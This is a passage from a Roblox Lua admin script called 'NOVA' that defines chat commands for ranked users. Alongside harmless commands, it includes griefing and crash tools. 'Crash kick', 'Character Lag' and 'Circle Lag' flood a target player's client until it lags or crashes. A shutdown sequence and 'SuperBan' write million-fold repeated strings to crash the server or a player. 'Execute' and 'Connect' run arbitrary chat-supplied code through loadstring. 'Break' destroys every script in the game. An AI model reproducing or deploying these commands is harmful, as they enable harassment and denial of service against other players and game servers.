4059
    function(Msg,Speaker)
4060
            coroutine.resume(coroutine.create(function()
4061
            NOVA.Services.Lighting.TimeOfDay = 0
4062
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
4063
            NOVA.Services.Lighting.Brightness = 0
4064
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
4065
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
4066
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
4067
4068
            for _,v in pairs(GetRecursiveChildren(workspace)) do
4069
                if v:IsA("BasePart") then
4070
                    Sel = Instance.new("SelectionBox",v)
4071
                    Sel.Color = BrickColor.new("Really red")
4072
                    Sel.Transparency = 0
4073
                    Sel.Adornee = v
4074
                end
4075
            end
4076
            for i=10,1,-1 do
4077
                NOVA.Sounds.Sound.Parent = workspace
4078
                NOVA.Sounds.Sound.Volume = 1
4079
                NOVA.Sounds.Sound.Pitch = 1
4080
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
4081
                wait(1)
4082
                NOVA.Sounds.Sound:Play()
4083
                if NOVA.Overrided == true then return end
4084
            end
4085
            for i=5,1,-1 do
4086
                NOVA.Sounds.Sound.Parent = workspace
4087
                NOVA.Sounds.Sound.Volume = 1
4088
                NOVA.Sounds.Sound.Pitch = 1
4089
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
4090
                wait(1)
4091
                NOVA.Sounds.Sound:Play()
4092
                if NOVA.Overrided == true then return end
4093
            end
4094
            wait(1)
4095
        
4096
	Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
4097
	wait(1)
4098
        Instance.new("ManualSurfaceJointInstance",workspace)
4099
        end))
4100
    end
4101
)
4102
4103
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4104
    function(Msg,Speaker)
4105
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4106
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4107
                Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4108
            else
4109
                pcall(function() 
4110
                    GetRidOf(v)
4111
                end)
4112
            end
4113
        end
4114
    end
4115
)
4116
4117
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4118
    function(Msg,Speaker)
4119
        coroutine.resume(coroutine.create(function()
4120
            for _,v in pairs(NOVA.Sounds.Numbers) do
4121
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4122
                NOVA.Sounds.Sound.SoundId = v
4123
                NOVA.Sounds.Sound.Volume = 0
4124
                wait()
4125
                NOVA.Sounds.Sound:Play()
4126
                wait()
4127
                NOVA.Sounds.Sound:Stop()
4128
                wait(1)
4129
            end
4130
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4131
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4132
                NOVA.Sounds.Sound.SoundId = v
4133
                NOVA.Sounds.Sound.Volume = 0
4134
                wait()
4135
                NOVA.Sounds.Sound:Play()
4136
                wait()
4137
                NOVA.Sounds.Sound:Stop()
4138
                wait(1)
4139
            end
4140
            NOVA.Sounds.Sound.Volume = 1
4141
        end))
4142
    end
4143
)
4144
4145
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4146
    function(Msg,Speaker)
4147
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4148
            table.insert(NOVA.Targeted,v)
4149
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4150
                if part:IsA("Part") then
4151
                    coroutine.resume(coroutine.create(function()
4152
                        local SB = Instance.new("SelectionBox",part)
4153
                        SB.Name = "NOVA Target Selection Box"
4154
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4155
                        SB.Adornee = part
4156
                        wait(3)
4157
                        SB:remove()
4158
                    end))
4159
                end
4160
            end
4161
        end
4162
    end
4163
)
4164
4165
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4166
    function(Msg,Speaker)
4167
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4168
            for i=1,#NOVA.Targeted do
4169
                if NOVA.Targeted[i] == v then
4170
                    table.remove(NOVA.Targeted,i)
4171
                end
4172
            end
4173
        end
4174
    end
4175
)
4176
4177
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4178
    function(Msg,Speaker)
4179
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4180
    end
4181
)
4182
4183
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4184
    function(Msg,Speaker)
4185
        CreateLocalScript([[
4186
	
4187
	 LocalPlayer = game:GetService("Players").LocalPlayer
4188
script.Parent = LocalPlayer
4189
            NOVA = {
4190
		      Bet = "/";
4191
                Services = {
4192
                    Workspace = game:GetService("Workspace");
4193
                    Lighting = game:GetService("Lighting");
4194
                    Debris = game:GetService("Debris");
4195
                    Players = game:GetService("Players");
4196
                    Teams = game:GetService("Teams");
4197
                    SoundService = game:GetService("SoundService");
4198
                    StarterGui = game:GetService("StarterGui");
4199
                    StarterPack = game:GetService("StarterPack");
4200
                };
4201
               
4202
                Camera = workspace.CurrentCamera;
4203
                LocalCharacter = Instance.new("Model");
4204
                LocalHead = Instance.new("Part");
4205
                LocalFire = Instance.new("Fire");
4206
            }
4207
            script.Name = NOVA.LocalPlayer.Name
4208
            script.Parent = nil
4209
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4210
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4211
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4212
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4213
                    
4214
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4215
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4216
                    end
4217
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4218
                        pcall(function() 
4219
                            newScript(Msg:sub(4),workspace)
4220
                        end)
4221
                    end
4222
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4223
                        coroutine.resume(coroutine.create(function()
4224
                            pcall(function()
4225
                                loadstring(Msg:sub(8))()
4226
                            end)
4227
                        end))
4228
                    end
4229
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4230
                        LocalPlayer.Character = workspace
4231
                    end
4232
                end
4233
            end)
4234
            
4235
            NOVA.LocalPlayer.Character = nil
4236
            NOVA.LocalHead.FormFactor = "Custom"
4237
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4238
            NOVA.LocalHead.Reflectance = 1e+999
4239
            NOVA.LocalHead.Shape = "Ball"
4240
            NOVA.LocalHead.Anchored = true
4241
            NOVA.LocalHead.CanCollide = false
4242
            NOVA.LocalHead.Transparency = 0
4243
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4244
            
4245
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4246
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4247
            NOVA.LocalFire.Heat = 12
4248
            NOVA.LocalFire.Size = 7    
4249
4250
            while wait() do
4251
                pcall(function()
4252
                    NOVA.LocalCharacter.Parent=workspace
4253
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4254
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4255
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4256
                end)
4257
            end
4258
        ]],Speaker.Backpack)
4259
    end
4260
)
4261
4262
4263
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4264
    function(Msg,Speaker)
4265
        CreateScript(Msg,workspace)
4266
    end
4267
)
4268
4269
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4270
    function(Msg,Speaker)
4271
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4272
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4273
        end
4274
    end
4275
)
4276
4277
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4278
    function(Msg,Speaker)
4279
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4280
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4281
        end
4282
    end
4283
)
4284
4285
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4286
    function(Msg,Speaker)
4287
        CreateLocalScript(Msg,Speaker.Backpack)
4288
    end
4289
)
4290
4291
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4292
    function(Msg,Speaker)
4293
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4294
            pcall(function()
4295
                v.Transparency = 7.3015691270939e-002
4296
            end)
4297
        end
4298
    end
4299
)
4300
4301
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4302
    function(Msg,Speaker)
4303
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4304
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4305
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4306
            else
4307
                pcall(function() 
4308
                    CreateLocalScript([==[
4309
                        LocalPlayer = game:GetService("Players").LocalPlayer
4310
                        Camera = workspace.CurrentCamera
4311
                        while wait() do
4312
                            for i=1,10 do
4313
                                Part = Instance.new("Seat",Camera)
4314
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4315
                                Part.Shape = "Ball"
4316
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4317
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4318
                            end
4319
                        end
4320
                    ]==],v.Backpack)
4321
                end)
4322
            end
4323
        end
4324
    end
4325
)
4326
4327
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4328
    function(Msg,Speaker)
4329
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4330
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4331
        end
4332
    end
4333
)
4334
4335
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4336
    function(Msg,Speaker)
4337
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4338
            for _,GUI in pairs(v.PlayerGui:children()) do
4339
                GUI:Clone().Parent = Speaker.PlayerGui
4340
            end
4341
        end
4342
    end
4343
)
4344
4345
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4346
    function(Msg,Speaker)
4347
        for _,v in pairs(NOVA.Targeted) do
4348
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4349
                if part:IsA("Part") then
4350
                    coroutine.resume(coroutine.create(function()
4351
                        local SB = Instance.new("SelectionBox",part)
4352
                        SB.Name = "NOVA Target Selection Box"
4353
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4354
                        SB.Adornee = part
4355
                        wait(3)
4356
                        SB:remove()
4357
                    end))
4358
                end
4359
            end
4360
        end
4361
    end
4362
)
4363
4364
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4365
    function(Msg,Speaker)
4366
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4367
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4368
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4369
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4370
        elseif Msg == "see" then
4371
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4372
        end
4373
    end
4374
)
4375
4376
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4377
    function(Msg,Speaker)
4378
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4379
            local Char = v.Character
4380
            local Smite = Instance.new("Part",workspace)
4381
            Smite.FormFactor = "Custom"
4382
            Smite.TopSurface = "Smooth"
4383
            Smite.BottomSurface = "Smooth"
4384
            Smite.Anchored = true
4385
            Smite.Locked = true
4386
            Smite.Size = Vector3.new(25,3,25)
4387
            Smite.BrickColor = BrickColor.new("New Yeller")
4388
            Smite.Transparency = 1
4389
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4390
            for i=1,0,-0.05 do
4391
                wait()
4392
                Smite.Transparency = i
4393
            end
4394
            coroutine.resume(coroutine.create(function()
4395
                for i=0,1,0.05 do
4396
                    wait()
4397
                    Smite.Transparency = i
4398
                end
4399
                Smite:remove()
4400
            end))
4401
            wait()
4402
            local Expl = Instance.new("Explosion",workspace)
4403
            Expl.Position = Smite.Position
4404
            Expl.BlastPressure = 1000000000
4405
            
4406
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4407
                if Part:IsA("BasePart") then
4408
                    coroutine.resume(coroutine.create(function()
4409
                        for i=1,10 do
4410
                            local Sparkles = Instance.new("Sparkles",Part)
4411
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4412
                            local Fire = Instance.new("Fire",Part)
4413
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4414
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4415
                        end
4416
                        Part:BreakJoints()
4417
                        local BP = Instance.new("BodyPosition",Part)
4418
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4419
                        BP.P = 1000
4420
                        BP.position = Part.Position + Vector3.new(
4421
                            math.random(-100,100),
4422
                            100,
4423
                            math.random(-100,100))
4424
                        wait(3)
4425
                        local Expl = Instance.new("Explosion",workspace)
4426
                        Expl.Position = Part.Position
4427
                        Expl.BlastPressure = 1000000000
4428
                    end))
4429
                end
4430
            end
4431
        end
4432
    end
4433
)
4434
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4435
    function(Msg,Speaker)
4436
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4437
            pcall(function()
4438
	v.Character.Pants:Remove()
4439
	v.Character.Shirt:Remove()
4440
            end)
4441
        end
4442
    end
4443
)
4444
4445
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4446
    function(Msg,Speaker)
4447
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4448
		
4449
                        v.Character.Humanoid.Changed:connect(function(val)
4450
                                if val == "Health" then
4451
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4452
                                end
4453
4454
			
4455
             end)
4456
        end
4457
    end
4458
)
4459
4460
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4461
    function(Msg,Speaker)	
4462
	NOVA.Bet = Msg
4463
    end
4464
)
4465
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4466
    function(Msg,Speaker)
4467
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4468
            
4469
            coroutine.resume(coroutine.create(function() 
4470
				while wait() do
4471
            for i = 1, 100 do
4472
            if v:findFirstChild("PlayerGui") ~= nil then
4473
            local mes = Instance.new("Message", v.PlayerGui)
4474
            mes.Text = "Crashing"
4475
            local ex = Instance.new("Explosion", v.PlayerGui)
4476
            ex.BlastRadius = math.huge
4477
            local hint = Instance.new("Hint", v.PlayerGui)
4478
            hint.Text = "---------------------------------------------------------------------------"
4479
            local s = Instance.new("ScreenGui", v.PlayerGui)
4480
            local txt = Instance.new("TextBox", s)
4481
            txt.Size = UDim2.new(1, 0, 1, 0)
4482
            txt.Text = "Your Being Lagged"
4483
            txt.FontSize = "Size48"
4484
            end
4485
            end
4486
				end
4487
            end))
4488
        end
4489
    end
4490
)
4491
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4492
    function(Msg,Speaker)
4493
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4494
            pcall(function()
4495
            v.Chatted:connect(function(Msg)
4496
            local m = Instance.new("Explosion",v.Character.Head)
4497
            m.Position = v.Character.Head.Position
4498
            end)
4499
            end)
4500
        end
4501
    end
4502
)
4503
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4504
    function(Msg,Speaker)
4505
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4506
            pcall(function()
4507
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4508
                    if Part:IsA("BasePart") then
4509
                        for i=1,10 do
4510
                            local Sparkles = Instance.new("Sparkles",Part)
4511
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4512
                            local Fire = Instance.new("Fire",Part)
4513
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4514
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4515
                        end
4516
                    end
4517
                end
4518
            end)
4519
        end
4520
    end
4521
)
4522
4523
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4524
    function(Msg,Speaker)
4525
        if NOVA.ShowChat == true then 
4526
            NOVA.ShowChat = false
4527
        elseif NOVA.ShowChat == false then
4528
            NOVA.ShowChat = true
4529
        end
4530
    end
4531
)
4532
4533
4534
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4535
    function(Msg,Speaker)
4536
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4537
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4538
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4539
            else
4540
                pcall(function() 
4541
                    CreateLocalScript([[
4542
                        script.Parent = workspace.CurrentCamera
4543
                        while wait() do
4544
                            coroutine.resume(coroutine.create(function()
4545
                                for i=1,math.huge do
4546
                                    wait()
4547
                                    for i=1,10 do
4548
                                        NS = script:Clone()
4549
                                        NS.Disabled = true
4550
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4551
                                        NS.Disabled = false
4552
                                    end
4553
                                    for i=1,10 do
4554
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4555
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4556
                                        Clone.Parent = workspace.CurrentCamera
4557
                                    end
4558
                                end
4559
                            end))
4560
                        end]],
4561
                    v.Backpack)
4562
                end)
4563
            end
4564
        end
4565
    end
4566
)
4567
4568
4569
4570
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4571
    function(Msg,Speaker)
4572
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4573
            pcall(function()
4574
                v.Character.Humanoid.PlatformStand = true
4575
            end)
4576
        end
4577
    end
4578
)
4579
4580
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4581
    function(Msg,Speaker)
4582
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4583
            pcall(function()
4584
                v.Character.Humanoid.PlatformStand = false
4585
            end)
4586
        end
4587
    end
4588
)
4589
4590
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4591
    function(Msg,Speaker)
4592
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4593
            pcall(function()
4594
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4595
                    Tool:Clone().Parent = Speaker.Backpack
4596
                end
4597
            end)
4598
        end
4599
    end
4600
)
4601
AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>",
4602
    function(Msg,Speaker)
4603
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
4604
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
4605
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4606
            else
4607
                pcall(function() 
4608
	
4609
                    GetRankedTable(v).Rank = -1
4610
                    SyncRankOutSingular(v)
4611
		    Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000)
4612
                end)
4613
            end
4614
        end
4615
    end
4616
)
4617
4618
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4619
    function(Msg,Speaker)
4620
        local Give = {}
4621
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4622
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4623
                function()
4624
                    table.insert(Give,v:Clone())
4625
                end
4626
            )
4627
        end
4628
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4629
            function()
4630
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4631
                    for _,Tool in pairs(Give) do
4632
                        Tool:Clone().Parent = v.Backpack
4633
                    end
4634
                end
4635
                RemoveTablets(Speaker)
4636
            end
4637
        )
4638
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4639
    end
4640
)
4641
4642
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4643
    function(Msg,Speaker)
4644
        pcall(function()
4645
            for _,Tool in pairs(Speaker.Backpack:children()) do
4646
                Tool:Clone().Parent = NOVA.Services.Lighting
4647
            end
4648
        end)
4649
    end
4650
)
4651
4652
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4653
    function(Msg,Speaker)
4654
        Split = GetSplit(Msg)
4655
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4656
            if v:FindFirstChild("PlayerGui") ~= nil then
4657
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4658
            end
4659
        end
4660
    end
4661
)
4662
4663
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4664
    function(Msg,Speaker)
4665
        local Data = GetRankedTable(Speaker)
4666
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4667
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4668
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4669
            function()
4670
                RemoveTablets(Speaker)
4671
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4672
            end
4673
        )
4674
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4675
        Output("How to use commands.",Data.Color,Speaker,nil,
4676
            function()
4677
                RemoveTablets(Speaker)
4678
                Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker)
4679
                Output("Please note it is a slash ( located below/around the 'Return'/'Enter'  key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker)
4680
                Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4681
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4682
            end
4683
        )
4684
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4685
        Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker)
4686
 end
4687
)
4688
4689
AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments",
4690
    function(Msg,Speaker)
4691
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4692
            if v:IsA("Script") then
4693
                v.Disabled = true
4694
                v.Parent = NOVA.Services.Debris
4695
                v.Disabled = true
4696
                v:Destroy()
4697
                v.Parent = NOVA.Services.Debris
4698
                v.Disabled = true
4699
                v:Destroy()
4700
            end
4701
        end
4702
    end
4703
)
4704
4705
AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
4706
    function(Msg,Speaker)
4707
        if Msg == nil or #Msg == 0 then
4708
            RemoveTablets(Speaker)
4709
            local Data = GetRankedTable(Speaker)
4710
            for _,v in pairs(Data.Executeables:children()) do
4711
                Output(v.Name,Data.Color,Speaker,nil,
4712
                    function()
4713
                        local a,b=coroutine.resume(coroutine.create(function() loadstring([[
4714
                            --[=[NOVA Internal Executeable Script ]=]--
4715
                            Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") 
4716
                        ]] .. v.Value .. [[]])() end))
4717
                        if not a then
4718
                            Output(b,NOVA.Colors.Red,Speaker,15)
4719
                        else
4720
                            Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
4721
                        end
4722
                    end
4723
                )
4724
            end
4725
            Output("Dismiss",NOVA.Colors.Red,Speaker)
4726
        else
4727
            Source = Msg
4728
            --Source = string.gsub(Source,"print(","PrintS(")
4729
            --Source = string.gsub(Source,"print'","PrintS'")
4730
            local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end))
4731
            if not a then
4732
                Output(b,NOVA.Colors.Red,Speaker,15)
4733
            else
4734
                Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
4735
            end
4736
        end
4737
    end
4738
)
4739
4740
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4741
    function(Msg,Speaker)
4742
        pcall(function()
4743
            CreateLocalScript([[
4744
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4745
                ]],
4746
                Speaker.Backpack)
4747
            
4748
        end)
4749
    end
4750
)
4751
4752
AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4753
    function(Msg,Speaker)
4754
        pcall(function()
4755
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4756
        end)
4757
    end
4758
)
4759
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4760
    function(Msg,Speaker)
4761
        pcall(function()
4762
            NOVA.Sounds.Sound.Looped = Msg
4763
        end)
4764
    end
4765
)
4766
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4767
    function(Msg,Speaker)
4768
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4769
    end
4770
)
4771
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4772
    function(Msg,Speaker)
4773
        local Give = {}
4774
        for _,v in pairs(NOVA.Plugins) do
4775
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4776
                function()
4777
                    table.insert(Give,v:Clone())
4778
                end
4779
            )
4780
        end
4781
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4782
            function()
4783
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4784
                    for _,Tool in pairs(Give) do
4785
                        New = Tool:Clone()
4786
                        New.Parent = v.Backpack
4787
                        pcall(function()
4788
                            New.Disabled = false
4789
                        end)
4790
                    end
4791
                end
4792
                RemoveTablets(Speaker)
4793
            end
4794
        )
4795
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4796
    end
4797
)
4798
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4799
    function(Msg,Speaker)
4800
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4801
            pcall(function()
4802
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4803
                    part.Locked = true
4804
                end
4805
            end)
4806
        end
4807
    end
4808
)
4809
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4810
    function(Msg,Speaker)
4811
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4812
            pcall(function()
4813
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4814
                    part.Locked = false
4815
                end
4816
            end)
4817
        end
4818
    end
4819
)
4820
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4821
    function(Msg,Speaker)
4822
        Split = GetSplit(Msg)
4823
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4824
            pcall(function()
4825
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4826
            end)
4827
        end
4828
    end
4829
)
4830
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4831
    function(Msg,Speaker)
4832
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4833
    end
4834
)
4835
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4836
    function(Msg,Speaker)
4837
        pcall(function()
4838
            Rtn = CFrame.new(
4839
                Speaker.Character.Torso.CFrame.x,
4840
                Speaker.Character.Torso.CFrame.y,
4841
                Speaker.Character.Torso.CFrame.z
4842
            )
4843
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4844
        end)
4845
    end
4846
)
4847
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4848
    function(Msg,Speaker)
4849
        for _,v in pairs(NOVA.Waypoints) do
4850
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4851
                pcall(function()
4852
                    RemoveTablets(Speaker)
4853
                    Speaker.Character.Torso.CFrame = v.CFrame
4854
                end)
4855
            end)
4856
